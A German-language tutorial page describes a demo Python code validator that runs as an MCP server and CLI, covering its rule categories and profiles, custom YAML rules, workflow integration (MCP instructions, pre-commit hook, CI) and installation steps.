Die Supervision-Historie speichert nur den Hash des Codes, nicht den Code selbst. Das reicht aus, um Duplikate zu erkennen, ohne sensiblen Code dauerhaft zu persistieren. Die Funktion kann in der Konfiguration deaktiviert werden. Hinweis: Das Validierungsergebnis (das an die KI zurückgegeben wird) enthält Code-Ausschnitte für Kontext, diese werden aber nicht in der Historie gespeichert.

Utilities: Verwaltung und Statistiken

Neben den Validierungsfunktionen bietet der Server einige Hilfsfunktionen für Konfiguration und Statistiken. Diese sind weniger für den täglichen Gebrauch gedacht, sondern für Administration und Debugging.

reload_rules: Regeln neu laden

Wenn Regeln oder Profile geändert wurden, lädt diese Funktion sie neu, ohne den Server neu starten zu müssen. Das ist praktisch während der Entwicklung eigener Regeln.

# Regeln neu laden
result = reload_rules()

# Beispiel-Ausgabe
{
    "success": true,
    "rules_loaded": 68,
    "profiles_loaded": 7,
    "message": "Rules reloaded successfully"
}

get_config: Aktuelle Konfiguration

Zeigt die aktuelle Server-Konfiguration an: Welches Standardprofil ist aktiv? Ist Supervision aktiviert? Wo liegen die Log-Dateien? Das hilft beim Debugging, wenn sich der Validator unerwartet verhält.

# Konfiguration abrufen
config = get_config()

# Beispiel-Ausgabe
{
    "default_profile": "recommended",
    "log_level": "INFO",
    "supervision_enabled": true,
    "rules_path": "config/rules/",
    "profiles_path": "config/profiles/"
}

get_stats: Server-Statistiken

Liefert Statistiken über die Nutzung des Validators: Wie viele Validierungen wurden durchgeführt? Wie viele davon waren erfolgreich? Welche Regeln werden am häufigsten verletzt? Das gibt einen Überblick über die Codequalität im Zeitverlauf.

# Statistiken abrufen
stats = get_stats()

# Beispiel-Ausgabe
{
    "total_validations": 1247,
    "valid_count": 1089,
    "invalid_count": 158,
    "success_rate": 87.3,
    "most_violated_rules": [
        {"rule": "SEC-001", "count": 42},
        {"rule": "REL-002", "count": 31},
        {"rule": "STY-005", "count": 28}
    ],
    "uptime_hours": 168
}

Für Administratoren

Diese Funktionen sind primär für Menschen gedacht, die den Validator betreiben und warten. Im normalen KI-Workflow werden sie selten gebraucht, aber für Troubleshooting und Optimierung sind sie unverzichtbar.

Die Regel-Kategorien

Was das bringt: Du verstehst, welche Arten von Problemen der Validator erkennt, sodass Du einordnen kannst, ob eine Meldung für Dein Projekt relevant ist oder ob Du sie bewusst ignorieren kannst.

Die Regeln dieses Validators sind in sieben Kategorien organisiert, die verschiedene Aspekte der Codequalität abdecken. Jede Kategorie hat einen eigenen Fokus, sodass je nach Bedarf bestimmte Bereiche stärker oder schwächer gewichtet werden können. Die wichtigsten Kategorien sind Sicherheit und Zuverlässigkeit, weil Fehler dort die größten Auswirkungen haben.

security: Sicherheitsregeln

Diese Kategorie enthält Regeln, die typische Python-Sicherheitsrisiken verhindern. Die Regeln decken Muster ab, die in mehreren OWASP-Klassen relevant werden können: Code-Injection durch eval() und exec(), Command-Execution durch os.system(), unsichere Deserialisierung durch pickle und hartcodierte Geheimnisse im Quellcode.

Typische Regeln:

Warum ist das wichtig? Sicherheitslücken in Code sind teuer. Sie führen zu Datenlecks, Systemkompromittierungen und Reputationsschäden. Die Security-Regeln fangen die häufigsten Fehler ab, bevor sie in Produktion gelangen.

reliability: Zuverlässigkeit

Diese Kategorie enthält Regeln, die die Robustheit des Codes verbessern. Sie verhindern Situationen, in denen das Programm unerwartet abbricht oder sich nicht mehr kontrollieren lässt.

Typische Regeln:

Warum ist das wichtig? Code, der Fehler verschluckt oder Ressourcen nicht freigibt, verursacht schwer zu diagnostizierende Probleme. Die Reliability-Regeln sorgen dafür, dass Fehler sichtbar werden und Ressourcen sauber verwaltet werden.

code_style: Stilregeln

Diese Kategorie enthält Regeln zur Code-Formatierung und Namensgebung. Sie orientieren sich an PEP 8 (= dem offiziellen Python-Styleguide) und sorgen für konsistenten, lesbaren Code.

Typische Regeln:

Warum ist das wichtig? Konsistenter Stil macht Code lesbar. Wenn alle Entwickler (ob Mensch oder KI) denselben Konventionen folgen, ist der Code leichter zu verstehen und zu warten.

best_practices: Bewährte Praktiken

Diese Kategorie enthält Regeln, die allgemeine Python-Best-Practices durchsetzen. Sie verhindern Gegenmuster (= verbreitete, aber problematische Lösungsansätze) und fördern idiomatischen Python-Code.

Typische Regeln:

Warum ist das wichtig? Best Practices existieren, weil sie sich in der Praxis bewährt haben. Code, der ihnen folgt, ist weniger fehleranfällig und für andere Entwickler leichter zu verstehen.

maintainability: Wartbarkeit

Diese Kategorie enthält Regeln, die die langfristige Wartbarkeit des Codes verbessern. Sie begrenzen Komplexität und fördern modularen Aufbau.

Typische Regeln:

Warum ist das wichtig? Komplexer Code ist schwer zu verstehen, zu testen und zu ändern. Die Maintainability-Regeln halten die Komplexität in Grenzen, sodass der Code auch in Zukunft wartbar bleibt.

modern_python: Moderne Syntax

Diese Kategorie enthält Regeln, die moderne Python-Features fördern. Sie helfen dabei, veraltete Muster durch aktuelle Alternativen zu ersetzen.

Typische Regeln:

Warum ist das wichtig? Moderner Python-Code ist oft kürzer, lesbarer und performanter. Die Regeln helfen, von veralteten Mustern loszukommen und aktuelle Sprachfeatures zu nutzen.

typing: Typisierung

Diese Kategorie enthält Regeln zur Typ-Annotation (= explizite Angabe der erwarteten Datentypen). Sie fördern statisch typisierten Code, der durch Tools wie mypy geprüft werden kann.

Typische Regeln:

Warum ist das wichtig? Typ-Annotationen machen Code selbstdokumentierend und ermöglichen statische Analyse. Sie helfen, Typfehler zu finden, bevor der Code ausgeführt wird.

Abgrenzung

Der Validator prüft Syntax und Muster, keine Semantik. Er erkennt eval() als problematisch, aber er kann nicht beurteilen, ob die Geschäftslogik korrekt ist. Für semantische Prüfungen, Typ-Inferenz über Modulgrenzen oder komplexe Datenflussanalysen gibt es spezialisierte Tools wie mypy, pylint oder bandit.

Die Profile

Profile sind vorkonfigurierte Zusammenstellungen von Regeln, die für bestimmte Anwendungsfälle optimiert sind. Statt einzelne Regeln auszuwählen, wählt man ein Profil, das die passenden Regeln bereits enthält.

minimal: Das Sicherheitsnetz

Dieses Profil enthält nur die kritischsten Sicherheitsregeln. Es ist gedacht für Situationen, in denen Geschwindigkeit wichtiger ist als Perfektion, etwa bei schnellen Prototypen oder Experimenten.

Enthält: Nur Regeln mit Severity „critical" aus der Security-Kategorie.

Wann verwenden? Wenn die grundlegenden Sicherheitsrisiken abgefangen werden sollen, ohne den Workflow zu verlangsamen. Das Profil ist ein Sicherheitsnetz, kein Qualitätsgarant.

recommended: Die goldene Mitte

Dieses Profil ist der empfohlene Standard für die meisten Projekte. Es enthält alle kritischen und wichtigen Regeln, überspringt aber stilistische Feinheiten und optionale Verbesserungen.

Enthält: Security (critical + error), Reliability, Best Practices (wichtigste).

Wann verwenden? Für reguläre Entwicklung. Das Profil fängt echte Probleme ab, ohne bei jeder kleinen Stilabweichung zu meckern. Es ist der beste Kompromiss zwischen Strenge und Praktikabilität.

strict: Maximale Qualität

Dieses Profil aktiviert alle verfügbaren Regeln. Es ist gedacht für Projekte, die höchste Codequalität anstreben und bereit sind, mehr Zeit in die Korrektur zu investieren.

Enthält: Alle Regeln aus allen Kategorien.

Wann verwenden? Für kritische Systeme, öffentliche Libraries oder Teams, die einheitliche Codequalität durchsetzen wollen. Erwartet sei, dass der erste Validierungsversuch selten erfolgreich ist.

security-only: Fokus Sicherheit

Dieses Profil enthält ausschließlich Sicherheitsregeln, dafür aber alle. Es ignoriert Stil, Best Practices und Typisierung komplett.

Enthält: Alle Regeln der Security-Kategorie.

Wann verwenden? Für Security-Audits oder wenn bestehender Code auf Sicherheitsprobleme geprüft werden soll, ohne Stilfragen zu diskutieren.

owasp: OWASP-orientiert

Dieses Profil fokussiert auf die OWASP Top 10. Es enthält nur Regeln, die direkt mit den häufigsten Sicherheitsrisiken in Webanwendungen zusammenhängen.

Enthält: Security-Regeln, die OWASP-Kategorien zugeordnet sind (Injection, Broken Auth, XSS, etc.).

Wann verwenden? Für Web-Projekte, die explizit OWASP-Compliance anstreben. Das Profil ist schmaler als „security-only", dafür direkt auf den OWASP-Standard abgestimmt.

pep8: Stilkonformität

Dieses Profil fokussiert auf PEP 8, den offiziellen Python-Styleguide. Es enthält primär Stilregeln und ignoriert Sicherheit und Typisierung.

Enthält: Code-Style-Regeln, Namenskonventionen, Formatierung.

Wann verwenden? Wenn konsistenter Stil das Hauptziel ist, etwa bei Open-Source-Projekten mit vielen Contributors oder bei der Einführung von Stilrichtlinien in einem Team.

clean-code: Wartbarkeit

Dieses Profil orientiert sich an Clean-Code-Prinzipien (= Richtlinien für gut lesbaren, wartbaren Code, populär gemacht durch Robert C. Martin). Es enthält Regeln zu Komplexität, Modularität und Lesbarkeit.

Enthält: Best Practices, Maintainability, ausgewählte Style-Regeln.

Wann verwenden? Für Projekte, die langfristig gewartet werden sollen. Das Profil hilft, Code zu schreiben, der auch in Jahren noch verständlich ist.

Profile anpassen

Die mitgelieferten Profile sind Ausgangspunkte. Sie können kopiert, angepasst und um eigene Regeln erweitert werden. Details dazu im nächsten Kapitel.

Eigene Regeln erstellen

Die mitgelieferten Regeln decken allgemeine Python-Entwicklung ab. Aber jedes Projekt hat eigene Konventionen, eigene No-Gos und eigene Muster, die gefördert oder verhindert werden sollen. Für diese Fälle können eigene Regeln erstellt werden.

Aufbau einer Regel

Regeln werden als YAML-Dateien definiert (= ein Textformat, das Daten strukturiert speichert, ähnlich wie JSON, aber besser lesbar). Jede Regel hat eine ID, einen Namen, eine Kategorie und ein Pattern, das im Code gesucht wird.

# config/rules/custom/no-print-debug.yaml
id: CUSTOM-001
name: no_print_debug
category: best_practices
severity: warning
pattern: "print\\s*\\(.*debug"
pattern_type: regex
message: "Debug-Print gefunden. Bitte durch Logging ersetzen."
fix_suggestion: "Verwende logging.debug() statt print() für Debug-Ausgaben."
enabled: true

Die Felder im Detail

Regex vs. AST

Für einfache Pattern-Suchen reicht Regex (= reguläre Ausdrücke, eine Syntax zur Textmuster-Erkennung). Für strukturelle Prüfungen, etwa „Funktion ohne Docstring", ist AST-basierte Suche (= Analyse des Abstract Syntax Tree, der logischen Code-Struktur) besser geeignet.

# Regex-Beispiel: Findet hartcodierte URLs
id: CUSTOM-002
pattern: "https?://[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}"
pattern_type: regex

# AST-Beispiel: Findet Funktionen ohne Docstring
id: CUSTOM-003
pattern: "FunctionDef[body[0] != Expr[value=Constant[value=str]]]"
pattern_type: ast

Eigene Profile erstellen

Profile werden ebenfalls als YAML-Dateien definiert. Sie listen die Regel-IDs auf, die enthalten sein sollen.

# config/profiles/my-project.yaml
name: my-project
description: Projektspezifisches Profil für Projekt XY
extends: recommended  # Basis-Profil übernehmen
rules:
  include:
    - CUSTOM-001
    - CUSTOM-002
    - CUSTOM-003
  exclude:
    - STY-001  # Zeilenlänge ist uns egal

Grenzen der Anpassung

Der Validator ist für Pattern-Matching und einfache AST-Prüfungen gebaut. Er kann keine komplexen semantischen Analysen, keine projektweiten Abhängigkeiten und keine Runtime-Eigenschaften prüfen. Für solche Anforderungen gibt es spezialisierte Tools.

Die Stärke eigener Regeln liegt in der schnellen Durchsetzung projektspezifischer Konventionen: „In diesem Projekt verwenden wir kein print()", „API-Keys gehören in Umgebungsvariablen", „Jede Klasse braucht einen Docstring". Solche Regeln lassen sich in Minuten erstellen und sparen langfristig viel manuelle Review-Arbeit.

Tipp: Klein anfangen

Starte mit einer oder zwei eigenen Regeln für die häufigsten Probleme im Projekt. Erweitere das Regelset schrittweise, basierend auf echten Erfahrungen. Zu viele Regeln auf einmal führen zu Frustration statt zu Qualität.

Integration in den Workflow

Der Validator ist nur so nützlich, wie er in den tatsächlichen Arbeitsablauf integriert ist. Hier zeige ich verschiedene Möglichkeiten, wie die Validierung Teil des täglichen Workflows werden kann, je nach eingesetzter KI und persönlichen Präferenzen.

Variante 1: MCP-Integration für KI-Assistenten

Die primäre Nutzung ist die Integration als MCP-Server in einen KI-Assistenten. Die KI wird instruiert, vor dem Schreiben von Python-Code die Funktion validate_code aufzurufen.

# Beispiel-Instruktion in CLAUDE.md oder System-Prompt

## Python-Code-Validierung

Bevor du Python-Code in eine Datei schreibst, validiere ihn:

1. Rufe `validate_code(code=..., profile="recommended")` auf
2. Prüfe das Ergebnis auf Violations
3. Bei Violations: Korrigiere den Code und validiere erneut
4. Erst wenn `valid: true`, schreibe den Code

Diese Regel gilt für alle .py-Dateien.

Der Vorteil dieser Variante: Wenn die KI die Instruktion konsequent befolgt, fühlt sich die Validierung für den Menschen automatisch an. Die KI lernt im Laufe der Sitzung, welche Muster zu vermeiden sind, weil sie das Feedback aus den Validierungsergebnissen erhält.

Variante 2: Befehlszeile für manuelle Prüfung

Für Menschen, die Code selbst prüfen wollen, oder für Situationen, in denen keine KI im Spiel ist, gibt es das Command-Line-Interface. Es eignet sich für schnelle Checks einzelner Dateien oder für die Integration in Skripte.

# Einzelne Datei prüfen
python -m src.cli validate api.py

# Mit bestimmtem Profil
python -m src.cli validate api.py --profile strict

# Mehrere Dateien (Schleife)
for f in src/*.py; do
    python -m src.cli validate "$f" --profile recommended
done

# Nur Security-Regeln
python -m src.cli validate api.py --category security

Variante 3: Pre-Commit-Hook

Für Teams, die sicherstellen wollen, dass kein Code ohne Validierung ins Repository gelangt, kann der Validator als Pre-Commit-Hook (= ein Skript, das automatisch vor jedem Commit ausgeführt wird) eingerichtet werden.

# .git/hooks/pre-commit

#!/bin/bash
for file in $(git diff --cached --name-only --diff-filter=ACM | grep '\.py$'); do
    result=$(python -m src.cli validate "$file" --profile recommended --json)
    if echo "$result" | grep -q '"valid": false'; then
        echo "Validation failed for $file"
        echo "$result" | python -m json.tool
        exit 1
    fi
done
exit 0

Mit dieser Konfiguration wird jeder Commit blockiert, der Python-Code mit Regelverstößen enthält. Das ist streng, aber effektiv.

Variante 4: CI/CD-Pipeline

Für größere Projekte kann die Validierung Teil der CI/CD-Pipeline (= automatisierte Build- und Test-Prozesse) werden. Der Validator läuft dann bei jedem Push oder Pull Request.

# .github/workflows/validate.yml (GitHub Actions Beispiel)
name: Python Validation

on: [push, pull_request]

jobs:
  validate:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Set up Python
        uses: actions/setup-python@v4
        with:
          python-version: '3.11'
      - name: Install validator
        run: pip install -r python-validator/requirements.txt
      - name: Run validation
        run: |
          for f in $(find src -name "*.py"); do
            python -m src.cli validate "$f" --profile strict
          done

Was diese Integration nicht ersetzt

Der Validator ist ein Werkzeug unter vielen. Er ersetzt keine Unit-Tests, keine Integration-Tests und kein Code-Review durch Menschen. Er ergänzt diese Praktiken, indem er eine Klasse von Problemen früh abfängt, nämlich bekannte Gegenmuster (Anti-Patterns) und Sicherheitsrisiken.

Für komplexere Analysen wie Typ-Prüfung über Modulgrenzen, Performance-Profiling oder Dependency-Audits gibt es spezialisierte Tools, die genau dafür gebaut sind. Der Validator fokussiert bewusst auf schnelle, leichtgewichtige Prüfungen, die in den Moment des Code-Schreibens passen.

Empfehlung

Starte mit der MCP-Integration, wenn Du mit KI-Assistenten arbeitest. Füge die Befehlszeilen-Prüfung hinzu, wenn Du auch manuell geschriebenen Code prüfen willst. Der Pre-Commit-Hook ist optional, aber hilfreich für Teams mit mehreren Entwicklern.

Fazit: Validierung als Qualitätsschranke

KI-Assistenten schreiben so schnell so viel Code, dass Menschen manchmal regelrecht euphorisch werden (bis die Nacharbeit kommt).Geschwindigkeit != Qualität und der Python Validator MCP Server adressiert genau dieses Problem: Er prüft Code gegen definierte Regeln, bevor er geschrieben wird, sodass problematische Muster gar nicht erst im Repository landen.

Was der Validator leistet

Der Validator fängt bekannte Probleme ab: Sicherheitslücken wie eval() oder pickle.loads(), Zuverlässigkeitsprobleme wie nackte except:-Blöcke, stilistische Inkonsistenzen und veraltete Muster. Er arbeitet typischerweise schnell (Syntaxbaum-Analyse ist leichtgewichtig) und nachvollziehbar (jede Regel ist dokumentiert). Ob die Validierung tatsächlich "automatisch" erfolgt, hängt davon ab, wie konsequent die KI (Spoiler: Gemini ist's relativ häufig egal) die Instruktion befolgt.

Das spart Zeit, weil Probleme nicht erst beim Review oder in Produktion gefunden werden. Es spart Nacharbeit, weil der Code von Anfang an den Standards entspricht. Und es spart immens Tokens, weil weniger Korrekturschleifen nötig sind.

Was der Validator nicht leistet

Der Validator ist ein Demo-System, das zeigt, wie automatische Code-Validierung funktionieren kann. Er ist bewusst einfach gehalten: Einzeldatei-Analyse, keine projektweiten Abhängigkeiten, keine komplexe Konfiguration. Im Praxisalltag kommen deutlich komplexere und ausgereiftere Systeme zum Einsatz, die insbesondere mit SQL- und Vektordatenbanken arbeiten.

Das Tool ersetzt keine statische Typ-Analyse (dafür gibt es mypy), keine "großen" Security-Audits (dafür gibt es bandit und Safety), keine Code-Reviews durch Menschen (dafür gibt es erfahrene Entwickler:innen) und keine Tests (dafür gibt es pytest). Es ergänzt diese Werkzeuge, indem es eine bestimmte Klasse von Problemen früh im Prozess abfängt.

Aber das Schöne ist: Du kannst auf dieser Basis einfach aufbauen und Dich langsam weiter entwickeln!

Für wen ist das gedacht?

Für alle, die mit KI-Assistenten Python-Code schreiben und sicherstellen wollen, dass dieser Code grundlegenden Qualitätsstandards entspricht. Für Teams, die einheitliche Code-Konventionen durchsetzen wollen. Für Einzelentwickler, die gerade starten und ein Sicherheitsnetz unter ihrem KI-generierten Code haben möchten.

Der Validator ist kein Produkt, das verkauft werden soll: Er ist für die KI-Gemeinschaft entstanden und ich teile hier einfach die Impulse, wie man sich so ein Werkzeug konstruieren kann. :-)

Wie geht es weiter?

Der Validator in seiner jetzigen Form ist funktional, aber natürlich nicht vollständig. Mögliche Erweiterungen wären: mehr Regeln, bessere AST-Analyse, Integration mit mehr KI-Systemen, Web-Interface für die Supervision ... aber: Nein. Denn eigentlich entwickeln wir uns zum Betrieb leistungsfähiger Contract & Rules Systemen. Nur so am Rande: Hier habe ich so etwas vor einer Weile mal für einen MCP SQL Server gemacht, vielleicht ist das ja für Dich auch interessant.

Wer Ideen hat, Probleme findet oder den Validator in interessanten Kontexten einsetzt, kann mich gerne kontaktieren. In der KI-Sprechstunde oder im Chat ist Raum für solche Gespräche.

Der Kern der Idee

KI-Assistenten sind mächtige Werkzeuge, aber sie brauchen Leitplanken und sollten in Systeme integriert sein. Der Validator ist eine solche Leitplanke: nicht perfekt, nicht vollständig, zum Lernen und Verstehen. Er zeigt, dass automatische Qualitätssicherung für KI-generierten Code möglich ist, und er funktioniert heute, mit den Tools, die heute verfügbar sind.

Für alle, die mehr mit KI-Systemen machen wollen

Der Python Validator ist ein Demo-Projekt im Rahmen der KI-Gemeinschaft. Er ist entstanden, weil wir usn dort gemeinsam erarbeiten, wie man KI-Prozesse im Unternehmen systemisch integriert.

In diesem Fall möchten wir KI-generierten Code automatisch prüfen und gleichzeitig das System verbessern, das den Code-Erstellungsprozess steuert.

Aber er ist nur ein kleiner Teil dessen, was wir in der KI-Gemeinschaft gemeinsam entwickeln und nutzen.

Was wir in der KI-Gemeinschaft machen

Die KI-Gemeinschaft ist ein Ort für Menschen, die KI-Systeme praktisch einsetzen wollen, nicht nur darüber reden (oder auf LinkedIn lustige lineare n8n-Screenshots posten). Wir treffen uns regelmäßig in der KI-Sprechstunde, zu Grundlagen- und Vertiefungs-Seminaren, tauschen Erfahrungen aus und helfen uns gegenseitig bei konkreten Problemen.

php if ($hasAccess): ?

Der Python Validator für Dich

Als Mitglied der KI-Gemeinschaft findest Du weiter unten auf dieser Seite den Download-Link und eine detaillierte Installationsanleitung.

Das Paket enthält den vollständigen Quellcode, alle Regeln, die Profile und ein Handbuch. Du kannst es sofort einsetzen oder als Ausgangspunkt für eigene Anpassungen nutzen.

php else: ?

Der Python Validator für Mitglieder

Für alle Teilnehmenden der KI-Gemeinschaft steht der Python Validator CLI + MCP Server hier zum Download bereit. Nach der Anmeldung findest Du weiter unten auf dieser Seite den Download-Link und eine detaillierte Installationsanleitung.

Das Paket enthält den vollständigen Quellcode, alle Regeln, die Profile und ein Handbuch. Du kannst es sofort einsetzen oder als Ausgangspunkt für eigene Anpassungen nutzen.

Interesse?

Die KI-Gemeinschaft ist offen für alle, die ernsthaft mit KI-Systemen arbeiten wollen. Schau vorbei und entscheide selbst, ob es für Dich passt.

Zur KI-Gemeinschaft

php endif; ?

Download und Installation

Der Download des Python Validator CLI + MCP Server sowie die Installationsanleitung sind exklusiv für Mitglieder der KI-Gemeinschaft verfügbar.

Zur KI-Gemeinschaft oder [Anmelden](<?= \App\Helpers\AuthHelper::LOGIN_URL ?>?return=<?= urlencode($_SERVER['REQUEST_URI'] ?? '/mcp-server-python-validator') ?> "Anmelden")

Download

Hier ist der Python Validator CLI + MCP Server. Das Paket enthält alles, was Du für den Einsatz brauchst.

Paketinhalt

  • src/ : Der vollständige Quellcode (MCP-Server + CLI)
  • config/rules/ : Alle Regeldefinitionen als YAML
  • config/profiles/ : Die vorkonfigurierten Profile
  • tests/ : Unit- und Integrationstests
  • docs/ : Handbuch und API-Dokumentation
  • requirements.txt : Python-Abhängigkeiten

Hinweis

Das ist ein Demo-Projekt (wenngleich es komplett von mir durchgeprüft ist) und kommt ohne Gewährleistung oder Support daher. Bei Fragen können wir das gerne im Chat oder in der KI-Sprechstunde besprechen.

python-validator.tar.gz herunterladen (114 KB)

Installation und Setup

Der Python Validator MCP Server kann auf zwei Arten genutzt werden: als MCP-Server für KI-Assistenten oder als Befehlszeilen-Werkzeug (CLI) für manuelle Validierung. Beide Varianten teilen dieselbe Codebasis und dieselben Regeln, sodass Du flexibel wählen kannst, welche Variante für Deinen Workflow besser passt.

Voraussetzungen

Bevor Du startest, stelle sicher, dass folgende Komponenten vorhanden sind:

Installation

# Archiv entpacken
tar -xzf python-validator.tar.gz
cd python-validator

# Virtual Environment erstellen (empfohlen)
python3 -m venv venv
source venv/bin/activate

# Abhängigkeiten installieren
pip install -r requirements.txt

MCP-Server konfigurieren

Um den Validator als MCP-Server zu nutzen, musst Du ihn in der Konfiguration Deines KI-Assistenten registrieren. Die Konfiguration unterscheidet sich je nach System, aber das Grundprinzip ist immer gleich: Du gibst an, wie der Server gestartet wird und wo er liegt.

Claude Code

In .mcp.json im Projektverzeichnis (oder global in ~/.claude/settings.json):

{
  "mcpServers": {
    "python-validator": {
      "command": "/pfad/zu/python-validator/venv/bin/python",
      "args": ["-m", "src.main"],
      "cwd": "/pfad/zu/python-validator"
    }
  }
}

Andere MCP-fähige Clients

Die meisten MCP-Clients verwenden ein ähnliches Format. Der Server kommuniziert über stdio (= Standard Input/Output), sodass keine Netzwerkkonfiguration nötig ist:

{
  "servers": {
    "python-validator": {
      "type": "stdio",
      "command": "python",
      "args": ["-m", "src.main"],
      "cwd": "/pfad/zu/python-validator"
    }
  }
}

Befehlszeilen-Nutzung

Falls Du den Validator lieber manuell nutzen möchtest, ohne ihn als MCP-Server einzubinden, funktioniert das über die Kommandozeile. Ich nutze diese Variante oft, um einzelne Dateien schnell zu prüfen:

# Datei validieren
python -m src.cli validate /pfad/zur/datei.py

# Mit bestimmtem Profil
python -m src.cli validate /pfad/zur/datei.py --profile strict

# Nur bestimmte Kategorie
python -m src.cli validate /pfad/zur/datei.py --category security

# Alle verfügbaren Regeln anzeigen
python -m src.cli list-rules

# Profile anzeigen
python -m src.cli list-profiles

Konfiguration anpassen

Die Hauptkonfiguration liegt in config/settings.json. Hier kannst Du das Standardprofil festlegen, das Log-Level anpassen und die Supervision (= Protokollierung aller Validierungen) aktivieren oder deaktivieren:

{
  "default_profile": "recommended",
  "log_level": "INFO",
  "log_file": "logs/validator.log",
  "supervision": {
    "enabled": true,
    "history_limit": 1000
  }
}

Verifikation

Nach der Installation empfehle ich, die Funktionalität kurz zu testen, damit Du sicher sein kannst, dass alles korrekt eingerichtet ist:

# Tests ausführen
python -m pytest tests/ -v

# MCP-Server manuell starten (für Debugging)
python -m src.main

# CLI-Hilfe anzeigen
python -m src.cli --help

Log-Dateien

Der Server loggt nach logs/validator.log. Dieses Log ist ausschließlich für Debugging gedacht, nicht für die MCP-Kommunikation. MCP verwendet stdout/stdin für den Datenaustausch, sodass alle anderen Ausgaben ins Log umgeleitet werden. Wenn etwas nicht funktioniert, findest Du dort meist die Ursache.